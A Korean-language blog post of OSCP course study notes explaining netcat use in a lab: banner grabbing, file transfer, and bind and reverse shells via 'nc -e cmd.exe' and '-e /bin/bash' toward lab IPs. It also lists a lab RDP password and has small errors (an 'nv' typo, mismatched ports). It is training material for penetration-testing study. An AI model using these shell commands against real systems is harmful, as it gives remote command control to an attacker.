OSCP/OSCP Course PDF

2. Essential tool - Netcat, rdesktop

우와해커 2020. 2. 17. 22:12


윈도우 원격연결 (RDP)
rdesktop -u offsec -p C9cpskQj2fZ 10.11.11.54


Netcat

Connecting to a TCP/UDP port can be useful in several situations:
• To check if a port is open or closed.
• To read a banner from the port.
• To connect to a network service manually.

연결(배너그래빙 목적으로 사용)
root@kali:~# nc -nv 10.11.11.154 110
(UNKNOWN) [10.0.0.22] 110 (pop3) open
+OK POP3 server lab ready <00004.1546827@lab>

root@kali:~/Practice# nc -nv 10.11.11.54 143
(UNKNOWN) [10.11.11.54] 143 (imap2) open
* OK localhost IMAP4rev1 Mercury/32 v4.52 server ready



Listening on a TCP/UDP port using netcat is useful for network debugging client applications, or otherwise receiving a TCP/UDP network connection.


포트 열기
root@kali:~# nc -nlvp 4444

해당 포트 접속
root@kali:~# nc -nv 10.0.0.22 4444
(UNKNOWN) [10.0.0.22] 4444 (?) open
This chat is from the linux machine


파일전송
Netcat can also be used to transfer files, both text and binary, from one computer to
another

-Windows
C:\Users\offsec>nc -nlvp 4444 > incoming.exe(저장될 파일명 입력)
listening on [any] 4444 ...

-Linux
root@kali:~# locate wget.exe 
root@kali:~# nc -nv 10.0.0.22 4444 < /usr/share/windows-binaries/wget.exe (전송할 파일 리다이렉션으로 넘겨줌)


Remote Administration with Netcat
One of the most useful features of netcat is its ability to do command redirection.

Netcat can take an executable file and redirect the input, output, and error messages to a
TCP/UDP port rather than the default console.

To further explain this, consider the cmd.exe executable. 

By redirecting the stdin, stdout, and stderr to the network, you can bind cmd.exe to a local port.

Bind Shell Scenario
엘리스한테 쉘 제어권을 제어함
1.Bob(windows) 
C:\Users\offsec>nc -nlvp 4445 -e cmd.exe
listening on [any] 4444 ...

2.Alice(Kali)
root@kali:# nc -vn 10.11.11.54 4445
dir
~~내용쫙~~

Reverse Shell Scenario
Alice는 사무실의 라우터를 제어 할 수 없으므로 라우터에서 내부 시스템으로 트래픽을 전달할 수 없습니다. Bob이 Alice의 컴퓨터에 연결하여 문제를 해결할 수 있는 방법이 있습니까? 이 상황에서는 Alice가 컴퓨터에서 로컬로 포트를 /bin/bash에 바인딩 할 수 없고 Bob이 연결될 것으로 예상하지만 대신에 Bob의 컴퓨터에 명령 프롬프트 제어를 보낼 수 있습니다. 이것을 역쉘이라고합니다. 이 작업을 수행하려면 Bob이 들어오는 쉘을 청취하도록 netcat을 설정해야합니다.

1.Bob(windows) 
밥한테 쉘 제어권을 넘김
C:\Users\offsec>nc -nlvp 4445
listening on [any] 4445 ...

2.Alice(Kali)
root@kali:# nv -vn 10.11.11.54 4445 -e /bin/bash
(UNKNOWN) [10.11.11.54] 4445 (?) open

3.Bob(windows) 
>id
uid=0(root) gid=0(root) groups=0(root)

>uname -a
Linux kali 4.17.0-kali1-686 #1 SMP Debian 4.17.8-1kali1 (2

 

 

책의 번역본의 리버스쉘 설명이 헷갈리게 되어 다시 정리한다.

* 두가지 방식의 차이는 누가 리스닝 포트를 열고 있는가를 보면 된다.

- 세션 성립 후 사용될 쉘이 있는 쪽에서 -e 옵션을 추가하여 쉘의 경로를 명시해주면 된다.

 

바인드 쉘

VM
nc -lnvp 4444 -e cmd.exe

Kali
nc <VM IP> 4444

 

리버스 쉘: 내부 NAT 방화벽에 의해 막히는 것을 우회하기 위해 리버스 쉘을 사용한다.

VM
nc <칼리IP> 4444 -e cmd.exe

Kali
nc -lnvp 4444

 

 



2.1.5 - Exercises (Reporting is not required for these exercises)

1. Implement a simple chat between your Kali and Windows systems

2. Practice using Netcat to create the following:
 a. Reverse shell from Kali to Windows
 b. Reverse shell from Windows to Kali
 c. Bind shell on Kali. Use your Windows client to connect to it
 d. Bind shell on Windows. Use your Kali system to connect to it

3. Transfer a file from your Kali system to Windows and vice versa
4. Conduct the exercises again, with the firewall enabled on your Windows host.
Adapt the exercises as necessary to work around the firewall protection.
Understand what portions of the exercise can no longer be completed
successfully.





'OSCP > OSCP Course PDF' 카테고리의 다른 글

4. Active Information Scanning - 1  (0) 2020.02.19
3. Passive Information Gathering  (0) 2020.02.19
2. Essential tool - Ncat, Wireshark ,Tcpdump  (0) 2020.02.17
1.Bash  (0) 2020.02.16
1. Find와 Service  (0) 2020.02.16